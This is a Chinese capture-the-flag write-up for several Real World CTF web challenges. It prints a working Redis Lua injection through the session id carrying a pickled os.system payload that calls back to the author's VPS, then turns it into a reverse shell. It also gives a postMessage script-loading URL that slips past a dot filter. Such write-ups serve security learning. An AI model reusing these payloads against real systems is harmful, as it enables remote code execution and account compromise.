前言
恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup
Advertisement
题目打开有点迷,没有任何东西
下意识的进行文件泄露探测
https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip
得到flag
BookHub
拿到题目后发现有源码泄露
http://52.52.4.252:8080/www.zip
下载下来后发现是flask框架写的
简单浏览了一下路由
发现大部分功能都是
@login_required
所以先尝试登陆
http://52.52.4.252:8080/login
随手尝试一下,发现
于是去跟过滤
@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
form = LoginForm(data=flask.request.data)
if form.validate_on_submit():
user = User.query.filter_by(username=form.username.data).first()
login_user(user, remember=form.remember_me.data)
return flask.redirect(flask.url_for('book.admin'))
return flask.render_template('login.html', form=form)
跟到LoginForm
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)
def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1')
# If you are in the debug mode or from office network (developer)
if not app.debug and not ip_address_in(address, whitelist):
raise StopValidation(f'your ip address isn't in the {whitelist}.')
user = User.query.filter_by(username=self.username.data).first()
if not user or not user.check_password(field.data):
raise StopValidation('Username or password error.')
再跟到get_remote_addr()
def get_remote_addr():
address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)
try:
ipaddress.ip_address(address)
except ValueError:
return None
else:
return address
发现address来自于X-Forwarded-For
,若不存在则来自于remote_addr
那么应该是可以使用XFF伪造ip了
我们本地测试一下
发现是可以伪造的,然而题目却怎么也不行= =(不知道什么鬼)
绝望之际,发现白名单中有一个公网ip
18.213.16.123
直接打开,是没有http服务的,随手测试了flask的默认端口,有点意思
原来这才是真正的大坑,这里网站直接跑在了debug模式
迅速去看代码里的
if app.debug:
发现
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
我们尝试这个路由
添加csrf_token
发现refresh_session()竟然存在未授权访问
(至于为什么@login_required写了还能未授权访问?大概是因为@login_required写在上面了,仔细观察,别的都写在user_blueprint.route下面)
关注到后续代码
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']
if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end
return false
end
local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
app.logger.exception(e)
status = 'fail'
这里明显使用了redis lua,看来是要在session上做文章了
我们发现代码中具有可控点sessionid
并且这里存在严重拼接问题
例如
我们可以闭合双引号,并引入恶意代码,让redis去执行
(注:f是python3.6的新特性,在2018MeePwnCTF曾出现过一道使用该特性的题目,不再赘述)
我们观察到构造方法
local inputs = {{ "{prefix}{sessionid}" }}
跟一下
prefix = app.config['SESSION_KEY_PREFIX']
发现
app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'
于是即可构造:
6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool
代码拼接后变成
$python3 main.py
{ "bookhub:session:6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool" }
显而易见,下面我们只需要思考构造redis evilcode
即可
这里参考ph的两篇文章(当然要参考出题人写过的文章呀XD)
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
其中ph的两篇文章分别有提到:
23333越看越像这道题
既然如此,我们可以给自己构造的一个session赋反弹shell的值,于是构造如下evilcode
redis.call("set","bookhub:session:skycool",反弹shell)
打完之后将自己的session改为skycool,刷新反弹shell即可
那么开始实操,我们先尝试一下curl
生成反弹shell payload代码如下
import cPickle
import os
class exp(object):
def __reduce__(self):
s = """curl vps_ip:23333"""
return (os.system,(s,))
e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:skycool",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool
'''%evilcode
print payload.replace(" ","")
然后
再然后去登录
发现自己的vps收到访问
此时眼泪哗的一下流了下来
同理反弹shell即可
Dot Free
题目乍一看仿佛是SSRF
于是我进行了一些测试,发现ip2long:
是可以请求的,但是我尝试了自己的vps,根本收不到请求
在迷茫之际,发现源代码中
window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}
相当可疑
于是我查阅了一下postMessage
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
发现
于是这进一步确实了我的想法
既然确定了问题点,那么肯定是构造payload进行测试
首先确定payload的输入点
decodeURIComponent(location.search.substr(1))
即
window.location
window的location对象
search
得到的是url中?部分
substr()
返回一个从指定位置开始的指定长度的子字符串
这里设置为1,是为了把url中的?号去掉
于是可以确定format为
http://13.57.104.34/?payload
然后是JSON.parse
说明要传入一个json_encode
那么根据题目的意图
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object'))
我们肯定是要bypass这段的,但是我们希望我们构造的payload是可以成功打到自己vps的
但是//
不能使用,于是想到
http:/
这样的Bypass
并且不能使用dot,我们还是选择ip2long
然后进入if..else后
我们肯定希望程序进入
else {
lls(e.data.iframe.value)
}
因为
function lls(src) {
var el = document.createElement('script');
if (el) {
el.setAttribute('type', 'text/javascript');
el.src = src;
document.body.appendChild(el);
}
};
这样可以把我们的src添加到document.body
即可触发恶意操作
于是构造
尝试
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433:23333%22}}
发现收到回显
下一步一气呵成
在自己的index.html中写入
然后再请求
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433%22}}
即可收到
后记
我还是太年轻了,尽走弯路= =,感谢巨佬的中途carry,让我学到好多知识Orz